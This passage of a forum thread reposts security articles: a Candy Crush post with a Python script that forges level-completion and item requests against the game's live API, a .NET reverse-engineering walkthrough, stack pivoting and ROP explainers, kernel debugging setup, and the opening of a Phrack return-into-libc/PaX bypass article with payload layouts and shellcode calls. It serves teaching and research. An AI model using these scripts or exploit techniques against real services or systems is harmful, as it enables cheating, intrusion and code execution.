"gameModeName":"Light up", "pepperCandyMax":1, "pepperCandySpawn":3, "chameleonCandyMax":0 }, } Success! There were only four colors in the level, and the game pretty much cascaded into a huge victory after two or three moves. Diving deeper Even this, though, was very time-consuming. The game has 500 levels, and, with 3 minutes per level, it would take way too long to win every single one. I needed to discover a faster way to “play” games. Helpfully, the server gives you a list of all the API methods when there’s an error: com.king.saga.api.CurrentUserResponse poll(); com.king.saga.api.GetMessagesResponse getMessages(); [Lcom.king.saga.api.ApiItemInfo; unlockItem(java.lang.String, java.lang.String); com.king.saga.api.ApiGameEnd gameEnd(com.king.saga.api.ApiGameResult); com.king.saga.api.GameInit gameInit(); com.king.saga.api.ApiGameStart gameStart(int, int); com.king.saga.api.PeekMessagesResponse peekMessages(); com.king.saga.api.GetMessagesResponse removeMessages([Ljava.lang.Long;, boolean); com.king.saga.api.GameInit gameInitLight(); com.king.saga.api.ApiGameEnd gameEnd2(com.king.saga.api.ApiGameResult); Looking at those and the responses, we can immediately see that the gameEnd method is very interesting indeed: http://candycrush.king.com/api/gameEnd{ "score":373400, "variant":0, "seed":1384024506403, "reason":0, "timeLeftPercent":-1, "cs":"040a6a", "episodeId":34, "levelId":4 } What’s this? It looks like we can just tell the game we finished a level, without any other hassle. I tried to replay that request by changing the score, but nothing happened. Nothing happened if I specified different episode ids, either. There must be some signature we can’t duplicate, and the “cs” field sounds awfully close to “checksum”. I was very close to solving the whole puzzle, but the checksum field means that I will have to fake the signature (which, unless the Candy Crush developers are clueless, should contain a secret key). There’s really no way to figure out how the signature is produced without looking at the source, so that’s what I did. Using my trusty Flash decompiler, I rummaged around in the source code, and found that the cs parameter is basically an MD5 of the following: "episodeId:levelId:score:timeLeftPercent:userId:seed:secretkey" Finding the secret key took a bit more digging, but, with the final piece of the puzzle uncovered, I could finally make make requests to the server and make it seems as if we legitimately finished a game. I’m not sure if you really have to make the gameStarted call, or if you can pass in any random seed you want, but I think the call is optional. At this point, I could pretty much finish any level I want, with any score I want, in about half a second. A script to make it easier However, having to do all this in a shell (or curl) was still too hard. To remove that final obstacle, i wrote a small CCrush Python class with various methods to make automatically winning in the game easier. Here’s the listing: import requestsimport hashlib import json import random import time import sys class CCrush(object): def __init__(self, session): self.session = session def hand_out_winnings(self, item_type, amount): item = [{"type": item_type, "amount": amount}] params = { "_session": self.session, "arg0": json.dumps(item), "arg1": 1, "arg2": 1, "arg3": "hash", } return requests.get("http://candycrush.king.com/api/handOutItemWinnings", params=params) def add_life(self): params = {"_session": self.session} return requests.get("http://candycrush.king.com/api/addLife", params=params) def start_game(self, episode, level): params = {"_session": self.session, "arg0": episode, "arg1": level} response = requests.get("http://candycrush.king.com/api/gameStart", params=params) return response.json()["seed"] def end_game(self, episode, level, seed, score=None): if score is None: score = random.randrange(3000, 6000) * 100 dic = { "timeLeftPercent": -1, "episodeId": episode, "levelId": level, "score": score, "variant": 0, "seed": seed, "reason": 0, } dic["cs"] = hashlib.md5("%(episodeId)s:%(levelId)s:%(score)s:%(timeLeftPercent)s:userid:%(seed)s:thesecret" % dic).hexdigest()[:6] params = {"_session": self.session, "arg0": json.dumps(dic)} response = requests.get("http://candycrush.king.com/api/gameEnd", params=params) return response def play_game(self, episode, level, score=None): seed = self.start_game(episode, level) return self.end_game(episode, level, seed, score) if __name__ == "__main__": ccrush = CCrush(sys.argv[1]) episode = int(sys.argv[2]) level = int(sys.argv[3]) seed = ccrush.start_game(episode, level) ccrush.end_game(episode, level, seed) This script can be invoked with python ccrush.py <sessionid> <episode> <level>, and it will automatically pass that level with a random score. Here’s the result: The script doesn’t actually work without the secret key, but that’s left as an exercise for the reader. It does work for getting extra lives for free, or extra helper items/gold, though. My aim with this post is less about telling people how to cheat in the game and more about the thought process behind analyzing these things. NOTE: After the amazing response to this post, I feel like I need to clarify something: It’s not a bug, or a fault on the part of the developers of Candy Crush that this is possible. Spending time and effort implementing anti-cheat measures would just be wasted, since it brings them no benefit (the most cheaters can do is brag to their friends, and they most probably weren’t going to pay anyway). So, I’m not implying that King should fix this, or that they don’t know what they’re doing. If I were developing Candy Crush, I wouldn’t put in any anti-cheating code either (as I said above, it would bring no benefit). I hope you enjoyed this short exploration of game APIs, and got a bit more knowledge in the process. For more posts like this, you can read my “winning” series, subscribe to my mailing list below to be notified of new posts, or follow me on Twitter. Sursa: Winning at Candy Crush - Stavros' Stuff
  14. [h=3]Reverse Engineering InternalCall Methods in .NET[/h] Often times, when attempting to reverse engineer a particular .NET method, I will hit a wall because I’ll dig in far enough into the method’s implementation that I’ll reach a private method marked [MethodImpl(MethodImplOptions.InternalCall)]. For example, I was interested in seeing how the .NET framework loads PE files in memory via a byte array using the System.Reflection.Assembly.Load(Byte[]) method. When viewed in ILSpy (my favorite .NET decompiler), it will show the following implementation: So the first thing it does is check to see if you’re allowed to load a PE image in the first place via the CheckLoadByteArraySupported method. Basically, if the executing assembly is a tile app, then you will not be allowed to load a PE file as a byte array. It then calls the RuntimeAssembly.nLoadImage method. If you click on this method in ILSpy, you will be disappointed to find that there does not appear to be a managed implementation. As you can see, all you get is a method signature and an InternalCall property. To begin to understand how we might be able reverse engineer this method, we need to know the definition of InternalCall. According to MSDN documentation, InternalCall refers to a method call that “is internal, that is, it calls a method that is implemented within the common language runtime.” So it would seem likely that this method is implemented as a native function in clr.dll. To validate my assumption, let’s use Windbg with sos.dll – the managed code debugger extension. My goal using Windbg will be to determine the native pointer for the nLoadImage method and see if it jumps to its respective native function in clr.dll. I will attach Windbg to PowerShell since PowerShell will make it easy to get the information needed by the SOS debugger extension. The first thing I need to do is get the metadata token for the nLoadImage method. This will be used in Windbg to resolve the method. As you can see, the Get-ILDisassembly function in PowerSploit conveniently provides the metadata token for the nLoadImage method. Now on to Windbg for further analysis… The following commands were executed: 1) .loadby sos clr Load the SOS debugging extension from the directory that clr.dll is loaded from 2) !Token2EE mscorlib.dll 0x0600278C Retrieves the MethodDesc of the nLoadImage method. The first argument (mscorlib.dll) is the module that implements the nLoadImage method and the hex number is the metadata token retrieved from PowerShell. 3) !DumpMD 0x634381b0 I then dump information about the MethodDesc. This will give the address of the method table for the object that implements nLoadImage 4) !DumpMT -MD 0x636e42fc This will dump all of the methods for the System.Reflection.RuntimeAssembly class with their respective native entry point. nLoadImage has the following entry: 635910a0 634381b0 NONE System.Reflection.RuntimeAssembly.nLoadImage(Byte[], Byte[], System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef, Boolean, System.Security.SecurityContextSource) So the native address for nLoadImage is 0x635910a0. Now, set a breakpoint on that address, let the program continue execution and use PowerShell to call the Load method on a bogus PE byte array. PS C:\> [Reflection.Assembly]::Load(([byte[]]@(1,2,3))) You’ll then hit your breakpoint in WIndbg and if you disassemble from where you landed, the function that implements the nLoadImage method will be crystal clear – clr!AssemblyNative::LoadImage You can now use IDA for further analysis and begin digging into the actual implementation of this InternalCall method! After digging into some of the InternalCall methods in IDA you’ll quickly see that most functions use the fastcall convention. In x86, this means that a static function will pass its first two arguments via ECX and EDX. If it’s an instance function, the ‘this’ pointer will be passed via ECX (as is standard in thiscall) and its first argument via EDX. Any remaining arguments are pushed onto the stack. So for the handful of people that have wondered where the implementation for an InternalCall method lies, I hope this post has been helpful. Sursa: Exploit Monday: Reverse Engineering InternalCall Methods in .NET
  15. [h=3]Stack Pivoting[/h] A common method for an attacker to control program execution involves creating a "fake stack" using attacker-specified values. When the attacker tricks the victim computer into using a fake stack, the attacker can control the program execution, because the call stack specifies the return behavior of the program from its current state(ie all of the function calls and their corresponding contexts that execution has been through in order to get to the current point). Some important things in the stack that can be fabricated include return addresses, and function arguments. Return addresses are important because when the computer executes a "ret" instruction, it basically loads the value at the address pointed to by the ESP register into the EIP register, and makes ESP point to one position lower on the stack. Semantically this means that ESP points to the top of the stack, and the computer "popped" the value off the top of the stack into EIP, which is the instruction pointer register. Another way to say this is that execution "returned" to the address stored at the top of the call stack. This fact is crucial to the way ROP exploits work. Function arguments are also stored on the stack. For example the C code: myFunction(a, b, c, d); translates to the following assembly code: push d push c push b push a call AddressOfmyFunction and the stack right before the call instruction is executed looks like: [TABLE] [TR] [TD]… [/TD] [TD]Lower Memory Addresses [/TD] [/TR] [TR] [TD]Value of a [/TD] [TD]<-ESP points here [/TD] [/TR] [TR] [TD]Value of b [/TD] [TD] [/TD] [/TR] [TR] [TD]Value of c [/TD] [TD] [/TD] [/TR] [TR] [TD]Value of d [/TD] [TD] [/TD] [/TR] [TR] [TD]Previous stack frames [/TD] [TD]Higher Memory Addresses [/TD] [/TR] [/TABLE] If we can specify a fake stack, it's easy to see how we can also control function arguments. Basically, we can fabricate a fake stack to make it look like we pushed values other than d, c, b, and a onto the stack, because every push operation just modifies the stack by making ESP point to 4 bytes higher on the stack, and storing the value we pushed at that location. Fake stacks are extremely useful in ROP exploits, because if we can get execution to occur at a different location with this stack state, we can possibly use these arguments for a function other than myFunction. On the x86 architecture, a stack is basically a set of DWORDS(32 bit values) in sequence, so we create our fake stack in the address space of a program any place where we can get our own sequence of bytes into the address space. This include buffer overflows, and heap sprays. Now the difficult part. If we are using a heap spray, once we have injected our own sequence of bytes representing a fake stack into the address space of the target process, we need to trick the computer into believing that our fake stack should be treated as the real stack. This is a stack pivot, because we are pivoting from the real stack to the fake stack. The basic goal here is to get a value of our choosing into ESP. Any creative attacker can think of many ways to do this. Here are a few possible ways: xchg registerContainingFakeStackAddress, ESP add ESP, SomeConstant //we can execute this multiple times to get our desired value sub ESP, SomeConstant //we can execute this multiple times to get our desired value mov ESP, registerContainingFakeStackAddress hack the function prologue because they modify ESP there hack the function epilogue because they modify ESP there The trick here is to be creative and figure out how any(or any sequence) of instructions can be used to get our desired value into ESP. Posted by Neil Sikka Sursa: InfoSec Research: Stack Pivoting
  16. [h=3]Windows 8 Kernel Debugging[/h] Starting with Windows Vista, Microsoft changed the Windows Boot Manager, thereby changing the way we debug the Windows Kernel. Now, there is a new tool called bcdedit.exe which can be used to modify the boot configuration of a Windows installation. The goal is to set up kernel debugging via virtual serial port, on a Windows 8 guest VM running on a Windows 8 host via the built in Hyper-V that comes with Windows 8. The pipe name will be “debug” in this example. The first step is to enable the COM port of the guest VM in the VM’s settings: Next, enable kernel debugging on the guest VM by running the following commands from an elevated command prompt on the guest: bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 The next step is to prepare the host for debugging the guest VM. The host had the Windows 8 SDK, WDK, Visual Studio 2012, and the Visual Studio 2012 coinstaller installed, in that order. There are 2 ways to debug kernels in guest VMs from a Windows 8 host. The first is to use Visual Studio 2012 (new method), and the second is to Windbg (old method). Visual Studio 2012 now has integrated kernel debugging support using the same debugging engine as Windbg. Once the host machine has everything installed, the steps to debug using Visual Studio 2012, are as follows: Run Visual Studio 2012 as Administrator Under the Tools->Attach to Process window, select "Windows Kernel Mode Debugger" for Transport. Click "Find" next to "Qualifier" In the "Configure Computers" window use the following settings: Transport=Serial Port=\\.\pipe\debug Baud=115200 To use the old Windbg method: Run Windbg as Admin on the host Hit ctrl+k to connect to the serial port exposed by the VM Use the following settings Further Reading: http://msdn.microsoft.com/en-us/library/windows/hardware/ff542279(v=vs.85).aspx http://msdn.microsoft.com/en-us/library/windows/hardware/ff545440(v=vs.85).aspx Posted by Neil Sikka Sursa: InfoSec Research: Windows 8 Kernel Debugging
  17. ROP (Return Oriented Programming) Prerequisite Reading: previous “Stack Pivoting” article Cyber security seems to be an arms race between attackers and defenders (in addition to the arms race between nations). Every time defenders devise a new mechanism to defend computers and mitigate exploits, attackers seem to find a way around it. Such was the case with DEP (Data Execution Prevention). Defenders used this mechanism to prevent execution from regions of memory that were supposed to contain data only rather than code. This was supposed to prevent attackers from executing shellcode from memory structures such as the program stack or the heap. To bypass DEP, the ROP exploitation technique was devised. It is similar to the idea of Ret2LibC [1]. ROP works by taking advantage of the fact that the attacker can manipulate program execution control data. In this technique, the attacker injects a fake call stack and executes a “stack pivot” (see prerequisite reading) to pivot to it. The call stack can be thought of as recording the causality chain [2] that specifies how execution got to its current position (ie which functions called which functions in order to get to the current function). When returning from the current function, the normal call stack serves the purpose of controlling where the execution will return to. For example with the normal stack, the immediate return address is supposed to be in the function that directly called the currently executing function. Rather than pointing in the functions that are part of the current causality chain, each return address in the fake call stack points to what is known as a “ROP Gadget”. A ROP Gadget is any “useful instruction(s)” to an attacker followed by a return instruction. The instruction(s) that are considered “useful” depend on the vulnerability the attacker is trying to exploit. The return instruction gets the next value off of the attacker controlled call stack, which in turn points to the next ROP Gadget to be executed. One crucial property of a ROP gadget is that it must be at a predictable address in memory every time the vulnerable program is executed, so the fake call stack can accurately point to the intended ROP gadgets. A stack pivot gadget is a subset of the more general ROP Gadget in that the useful instruction(s) of a stack pivot gadget switches the value of the ESP register from the real stack to the fake stack. Examples of the stack pivot instructions are given in the prerequisite reading. Here are some examples of general ROP gadgets: push EAX ret pop ECX ret sub EAX, 4 ret pop EBX xor EAX, EAX ret add ECX, 8 ret ROP exploits work because the attacker tricks the machine into using attacker controlled program control data which is injected into a page that’s not necessarily executable. This technically is allowed even with DEP enabled because the fake call stack bytes injected by the attacker are technically not being executed. Rather, they are just controlling where execution of the CPU will go next. In some sense, the attacker is actually turning the process’s address space against itself by using instructions already present in executable sections, but just executing them in different orders to achieve the attacker’s intentions. Often the end goal of ROP exploits is to make executable a currently non-executable region in memory, so that shellcode that has been injected into that region can be executed. This requires a return address on the fake call stack to contain a pointer to a function (such as VirtualProtect) along with the required parameters. The execution of a ROP exploit looks similar to the following once the fake call stack is injected in memory: Execute stack pivot gadget to pass control to the fake call stack Execute a ROP Gadget at the top of the fake callstack Execute “useful instruction(s)" Execute a return instruction If the next return address is another ROP gadget, goes back to step 2.1 Else if the next return address is a function, executes that function using parameters that are on the fake stack Above, step 2.2.1 is implicitly “goto step 2.1” if the return address points to another ROP gadget. This forms a repetitive chain, also known as a “ROP Chain”. A function can be executed if the fake call stack contains the function address and the required parameters (step 2.2.2). An example of a ROP exploit follows. A local variable buffer on the stack has already been overflowed and the return address of the current stack frame has been overwritten with the address of the below stack pivot gadget. That function has already returned to the stack pivot gadget below and the stack pivot instruction below has already been executed. Stack Pivot Gadget: 5c pop ESP //actual stack pivot instruction (already executed) c3 ret //EIP points here. This is the next instruction to be executed Fake Call Stack: ? [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Fake Call stack right before "ret" instruction of the stack pivot gadget is executed[/TD] [/TR] [/TABLE] Above, the ROP exploit is ready to be executed. The ROP exploit leverages a stack based buffer overflow vulnerability (with DEP enabled on the target process) to pop a message box saying “You got pwn3d”, which represents arbitrary code execution. As presented above, the fake call stack has the addresses of various functions to execute, along with arguments to those functions. These steps correspond to 2.2.2 of the ROP execution steps outlined above. Defenders created DEP to stop shellcode execution from data-only regions of memory. Attackers created ROP to bypass DEP. Then, Defenders created ASLR to stop ROP exploits. And so the cyber security arms race goes on and on… References: [1] http://www.phrack.org/issues.html?issue=58&id=4&mode=txt [2] Async Programming - Async Causality Chain Tracking Posted by Neil Sikka Sursa: InfoSec Research: ROP (Return Oriented Programming)
  18. The advanced return-into-lib© exploits: File: archives/58/p58_0x04_Advanced return-into-lib(c) exploits (PaX case study)_by_nergal.txt ==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e |=------------=[ The advanced return-into-lib(c) exploits: ]=------------=| |=------------------------=[ PaX case study ]=---------------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ by Nergal <nergal@owl.openwall.com> ]=--------------=| May this night carry my will And may these old mountains forever remember this night May the forest whisper my name And may the storm bring these words to the end of all worlds Ihsahn, "Alsvartr" --[ 1 - Intro 1 - Intro 2 - Classical return-into-libc 3 - Chaining return-into-libc calls 3.1 - Problems with the classical approach 3.2 - "esp lifting" method 3.3 - frame faking 3.4 - Inserting null bytes 3.5 - Summary 3.6 - The sample code 4 - PaX features 4.1 - PaX basics 4.2 - PaX and return-into-lib exploits 4.3 - PaX and mmap base randomization 5 - The dynamic linker's dl-resolve() function 5.1 - A few ELF data types 5.2 - A few ELF data structures 5.3 - How dl-resolve() is called from PLT 5.4 - The conclusion 6 - Defeating PaX 6.1 - Requirements 6.2 - Building the exploit 7 - Misc 7.1 - Portability 7.2 - Other types of vulnerabilities 7.3 - Other non-exec solutions 7.4 - Improving existing non-exec schemes 7.5 - The versions used 8 - Referenced publications and projects This article can be roughly divided into two parts. First, the advanced return-into-lib(c) techniques are described. Some of the presented ideas, or rather similar ones, have already been published by others. However, the available pieces of information are dispersed, usually platform-specific, somewhat limited, and the accompanying source code is not instructive enough (or at all). Therefore I have decided to assemble the available bits and a few of my thoughts into a single document, which should be useful as a convenient reference. Judging by the contents of many posts on security lists, the presented information is by no means the common knowledge. The second part is devoted to methods of bypassing PaX in case of stack buffer overflow (other types of vulnerabilities are discussed at the end). The recent PaX improvements, namely randomization of addresses the stack and the libraries are mmapped at, pose an untrivial challenge for an exploit coder. An original technique of calling directly the dynamic linker's symbol resolution procedure is presented. This method is very generic and the conditions required for successful exploitation are usually satisfied. Because PaX is Intel platform specific, the sample source code has been prepared for Linux i386 glibc systems. PaX is not considered sufficiently stable by most people; however, the presented techniques (described for Linux on i386 case) should be portable to other OSes/architectures and can be possibly used to evade other non-executability schemes, including ones implemented by hardware. The reader is supposed to possess the knowledge on standard exploit techniques. Articles [1] and [2] should probably be assimilated before further reading. [12] contains a practical description of ELF internals. --[ 2 - Classical return-into-libc The classical return-into-libc technique is well described in [2], so just a short summary here. This method is most commonly used to evade protection offered by the non-executable stack. Instead of returning into code located within the stack, the vulnerable function should return into a memory area occupied by a dynamic library. It can be achieved by overflowing a stack buffer with the following payload: <- stack grows this way addresses grow this way -> ------------------------------------------------------------------ | buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ... ------------------------------------------------------------------ ^ | - this int32 should overwrite saved return address of a vulnerable function buffer fill-up should overwrite saved %ebp placeholder as well, if the latter is used When the function containing the overflown buffer returns, the execution will resume at function_in_lib, which should be the address of a library function. From this function's point of view, dummy_int32 will be the return address, and arg_1, arg_2 and the following words - the arguments. Typically, function_in_lib will be the libc system() function address, and arg_1 will point to "/bin/sh". --[ 3 - Chaining return-into-libc calls ----[ 3.1 - Problems with the classical approach The previous technique has two essential limitations. First, it is impossible to call another function, which requires arguments, after function_in_lib. Why ? When the function_in_lib returns, the execution will resume at address dummy_int32. Well, it can be another library function, yet its arguments would have to occupy the same place that function_in_lib's argument does. Sometimes this is not a problem (see [3] for a generic example). Observe that the need for more than one function call is frequent. If a vulnerable application temporarily drops privileges (for example, a setuid application can do seteuid(getuid())), an exploit must regain privileges (with a call to setuid(something) usually) before calling system(). The second limitation is that the arguments to function_in_lib cannot contain null bytes (in case of a typical overflow caused by string manipulation routines). There are two methods to chain multiple library calls. ----[ 3.2 - "esp lifting" method This method is designed for attacking binaries compiled with -fomit-frame-pointer flag. In such case, the typical function epilogue looks this way: eplg: addl $LOCAL_VARS_SIZE,%esp ret Suppose f1 and f2 are addresses of functions located in a library. We build the following overflow string (I have skipped buffer fill-up to save space): <- stack grows this way addresses grow this way -> --------------------------------------------------------------------------- | f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args... --------------------------------------------------------------------------- ^ ^ ^ | | | | | <---------LOCAL_VARS_SIZE------------->| | |-- this int32 should overwrite return address of a vulnerable function PAD is a padding (consisting of irrelevant nonzero bytes), whose length, added to the amount of space occupied by f1's arguments, should equal LOCAL_VARS_SIZE. How does it work ? The vulnerable function will return into f1, which will see arguments f1_arg, f1_arg2 etc - OK. f1 will return into eplg. The "addl $LOCAL_VARS_SIZE,%esp" instruction will move the stack pointer by LOCAL_VARS_SIZE, so that it will point to the place where f2 address is stored. The "ret" instruction will return into f2, which will see arguments f2_args. Voila. We called two functions in a row. The similar technique was shown in [5]. Instead of returning into a standard function epilogue, one has to find the following sequence of instructions in a program (or library) image: pop-ret: popl any_register ret Such a sequence may be created as a result of a compiler optimization of a standard epilogue. It is pretty common. Now, we can construct the following payload: <- stack grows this way addresses grow this way -> ------------------------------------------------------------------------------ | buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... ------------------------------------------------------------------------------ ^ | - this int32 should overwrite return address of a vulnerable function It works very similarly to the previous example. Instead of moving the stack pointer by LOCAL_VARS_SIZE, we move it by 4 bytes with the "popl any_register" instruction. Therefore, all arguments passed to f1 can occupy at most 4 bytes. If we found a sequence pop-ret2: popl any_register_1 popl any_register_2 ret then we could pass to f1 two arguments of 4 bytes size each. The problem with the latter technique is that it is usually impossible to find a "pop-ret" sequence with more than three pops. Therefore, from now on we will use only the previous variation. In [6] one can find similar ideas, unfortunately with some errors and chaoticly explained. Note that we can chain an arbitrary number of functions this way. Another note: observe that we do not need to know the exact location of our payload (that is, we don't need to know the exact value of the stack pointer). Of course, if any of the called functions requires a pointer as an argument, and if this pointer should point within our payload, we will need to know its location. ----[ 3.3 - frame faking (see [4]) This second technique is designed to attack programs compiled _without_ -fomit-frame-pointer option. An epilogue of a function in such a binary looks like this: leaveret: leave ret Regardless of optimization level used, gcc will always prepend "ret" with "leave". Therefore, we will not find in such binary an useful "esp lifting" sequence (but see later the end of 3.5). In fact, sometimes the libgcc.a archive contains objects compiled with -fomit-frame-pointer option. During compilation, libgcc.a is linked into an executable by default. Therefore it is possible that a few "add $imm, %esp; ret" sequences can be found in an executable. However, we will not %rely on this gcc feature, as it depends on too many factors (gcc version, compiler options used and others). Instead of returning into "esp lifting" sequence, we will return into "leaveret". The overflow payload will consist of logically separated parts; usually, the exploit code will place them adjacently. <- stack grows this way addresses grow this way -> saved FP saved vuln. function's return address -------------------------------------------- | buffer fill-up(*) | fake_ebp0 | leaveret | -------------------------|------------------ | +---------------------+ this time, buffer fill-up must not | overwrite the saved frame pointer ! v ----------------------------------------------- | fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ... -----|----------------------------------------- | the first frame +-+ | v ------------------------------------------------ | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ... -----|------------------------------------------ | the second frame +-- ... fake_ebp0 should be the address of the "first frame", fake_ebp1 - the address of the second frame, etc. Now, some imagination is needed to visualize the flow of execution. 1) The vulnerable function's epilogue (that is, leave;ret) puts fake_ebp0 into %ebp and returns into leaveret. 2) The next 2 instructions (leave;ret) put fake_ebp1 into %ebp and return into f1. f1 sees appropriate arguments. 3) f1 executes, then returns. Steps 2) and 3) repeat, substitute f1 for f2,f3,...,fn. In [4] returning into a function epilogue is not used. Instead, the author proposed the following. The stack should be prepared so that the code would return into the place just after F's prologue, not into the function F itself. This works very similarly to the presented solution. However, we will soon face the situation when F is reachable only via PLT. In such case, it is impossible to return into the address F+something; only the technique presented here will work. (BTW, PLT acronym means "procedure linkage table". This term will be referenced a few times more; if it does not sound familiar, have a look at the beginning of [3] for a quick introduction or at [12] for a more systematic description). Note that in order to use this technique, one must know the precise location of fake frames, because fake_ebp fields must be set accordingly. If all the frames are located after the buffer fill-up, then one must know the value of %esp after the overflow. However, if we manage somehow to put fake frames into a known location in memory (in a static variable preferably), there is no need to guess the stack pointer value. There is a possibility to use this technique against programs compiled with -fomit-frame-pointer. In such case, we won't find leave&ret code sequence in the program code, but usually it can be found in the startup routines (from crtbegin.o) linked with the program. Also, we must change the "zeroth" chunk to ------------------------------------------------------- | buffer fill-up(*) | leaveret | fake_ebp0 | leaveret | ------------------------------------------------------- ^ | |-- this int32 should overwrite return address of a vulnerable function Two leaverets are required, because the vulnerable function will not set up %ebp for us on return. As the "fake frames" method has some advantages over "esp lifting", sometimes it is necessary to use this trick even when attacking a binary compiled with -fomit-frame-pointer. ----[ 3.4 - Inserting null bytes One problem remains: passing to a function an argument which contains 0. But when multiple function calls are available, there is a simple solution. The first few called functions should insert 0s into the place occupied by the parameters to the next functions. Strcpy is the most generic function which can be used. Its second argument should point to the null byte (located at some fixed place, probably in the program image), and the first argument should point to the byte which is to be nullified. So, thus we can nullify a single byte per a function call. If there is need to zero a few int32 location, perhaps other solutions will be more space-effective. For example, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); will nullify a byte at some_writable_addr and nullify int32 locations at ptr1, ptr2, ptr3, ptr4. Many other functions can be used for this purpose, scanf being one of them (see [5]). Note that this trick solves one potential problem. If all libraries are mmapped at addresses which contain 0 (as in the case of Solar Designer non-exec stack patch), we can't return into a library directly, because we can't pass null bytes in the overflow payload. But if strcpy (or sprintf, see [3]) is used by the attacked program, there will be the appropriate PLT entry, which we can use. The first few calls should be the calls to strcpy (precisely, to its PLT entry), which will nullify not the bytes in the function's parameters, but the bytes in the function address itself. After this preparation, we can call arbitrary functions from libraries again. ----[ 3.5 - Summary Both presented methods are similar. The idea is to return from a called function not directly into the next one, but into some function epilogue, which will adjust the stack pointer accordingly (possibly with the help of the frame pointer), and transfer the control to the next function in the chain. In both cases we looked for an appropriate epilogue in the executable body. Usually, we may use epilogues of library functions as well. However, sometimes the library image is not directly reachable. One such case has already been mentioned (libraries can be mmapped at addresses which contain a null byte), we will face another case soon. Executable's image is not position independent, it must be mmapped at a fixed location (in case of Linux, at 0x08048000), so we may safely return into it. ----[ 3.6 - The sample code The attached files, ex-move.c and ex-frames.c, are the exploits for vuln.c program. The exploits chain a few strcpy calls and a mmap call. The additional explanations are given in the following chapter (see 4.2); anyway, one can use these files as templates for creating return-into-lib exploits. --[ 4 - PaX features ----[ 4.1 - PaX basics If you have never heard of PaX Linux kernel patch, you are advised to visit the project homepage [7]. Below there are a few quotations from the PaX documentation. "this document discusses the possibility of implementing non-executable pages for IA-32 processors (i.e. pages which user mode code can read or write, but cannot execute code in). since the processor's native page table/directory entry format has no provision for such a feature, it is a non-trivial task." "[...] there is a desire to provide some sort of programmatic way for protecting against buffer overflow based attacks. one such idea is the implementation of non-executable pages which eliminates the possibility of executing code in pages which are supposed to hold data only[...]" "[...] possible to write [kernel mode] code which will cause an inconsistent state in the DTLB and ITLB entries.[...] this very same mechanism would allow for creating another kind of inconsistent state where only data read/write accesses would be allowed and code execution prohibited. and this is what is needed for protecting against (many) buffer overflow based attacks." To sum up, a buffer overflow exploit usually tries to run code smuggled within some data passed to the attacked process. The main PaX functionality is to disallow execution of all data areas - thus PaX renders typical exploit techniques useless. --[ 4.2 - PaX and return-into-lib exploits Initially, non-executable data areas was the only feature of PaX. As you may have already guessed, it is not enough to stop return-into-lib exploits. Such exploits run code located within libraries or binary itself - the perfectly "legitimate" code. Using techniques described in chapter 3, one is able to run multiple library functions, which is usually more than enough to take advantage of the exploited program's privileges. Even worse, the following code will run successfully on a PaX protected system: char shellcode[] = "arbitrary code here"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset); strcpy(0xaa011000+1, shellcode); return into 0xaa011000+1; A quick explanation: mmap call will allocate a memory region at 0xaa011000. It is not related to any file object, thanks to the MAP_ANON flag, combined with the file descriptor equal to -1. The code located at 0xaa011000 can be executed even on PaX (because PROT_EXEC was set in mmap arguments). As we see, the arbitrary code placed in "shellcode" will be executed. Time for code examples. The attached file vuln.c is a simple program with an obvious stack overflow. Compile it with: $ gcc -o vuln-omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c The attached files, ex-move.c and ex-frames.c, are the exploits for vuln-omit and vuln binaries, respectively. Exploits attempt to run a sequence of strcpy() and mmap() calls. Consult the comments in the README.code for further instructions. If you plan to test these exploits on a system protected with recent version of PaX, you have to disable randomizing of mmap base with $ chpax -r vuln; chpax -r vuln-omit ----[ 4.3 - PaX and mmap base randomization In order to combat return-into-lib(c) exploits, a cute feature was added to PaX. If the appropriate option (CONFIG_PAX_RANDMMAP) is set during kernel configuration, the first loaded library will be mmapped at random location (next libraries will be mmapped after the first one). The same applies to the stack. The first library will be mmapped at 0x40000000+random*4k, the stack top will be equal to 0xc0000000-random*16; in both cases, "random" is a pseudo random unsigned 16-bit integer, obtained with a call to get_random_bytes(), which yields cryptographically strong data. One can test this behavior by running twice "ldd some_binary" command or executing "cat /proc/$$/maps" from within two invocations of a shell. Under PaX, the two calls yield different results: nergal@behemoth 8 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 4b150000-4b166000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4b166000-4b167000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4b167000-4b168000 rw-p 00000000 00:00 0 4b16e000-4b289000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 4b289000-4b28f000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 4b28f000-4b293000 rw-p 00000000 00:00 0 bff78000-bff7b000 rw-p ffffe000 00:00 0 $ exit nergal@behemoth 9 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 48b07000-48b1d000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 48b1d000-48b1e000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 48b1e000-48b1f000 rw-p 00000000 00:00 0 48b25000-48c40000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 48c40000-48c46000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 48c46000-48c4a000 rw-p 00000000 00:00 0 bff76000-bff79000 rw-p ffffe000 00:00 0 CONFIG_PAX_RANDMMAP feature makes it impossible to simply return into a library. The address of a particular function will be different each time a binary is run. This feature has 